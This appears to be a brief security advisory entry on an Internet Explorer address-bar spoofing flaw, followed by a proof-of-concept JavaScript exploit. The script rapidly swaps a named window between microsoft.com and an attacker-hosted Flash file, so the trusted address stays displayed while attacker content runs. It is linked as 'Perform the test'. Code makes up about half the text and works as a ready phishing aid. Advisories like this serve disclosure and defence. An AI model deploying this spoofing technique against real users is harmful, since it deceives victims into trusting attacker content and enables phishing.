source: https://www.securityfocus.com/bid/17404/info Internet Explorer is prone to address-bar spoofing. An attacker can exploit this issue to display the URI of a trusted and known site in the address bar, while running an attacker-supplied Macromedia Flash application. This may aid in phishing-style attacks and possibly allow access to properties of the trusted domain. <script language="javascript"> function pause(ms) { date = new Date(); var curDate = null; do { var curDate = new Date(); } while(curDate-date < ms); } function spoof () { win = window.open('http://www.microsoft.com/','new') pause (2000) win = window.open('http://www.example.com/swfs/index.swf','new') pause (2000) win = window.open('http://www.microsoft.com/','new') } </script> <a href="javascript: spoof()">Perform the test</a>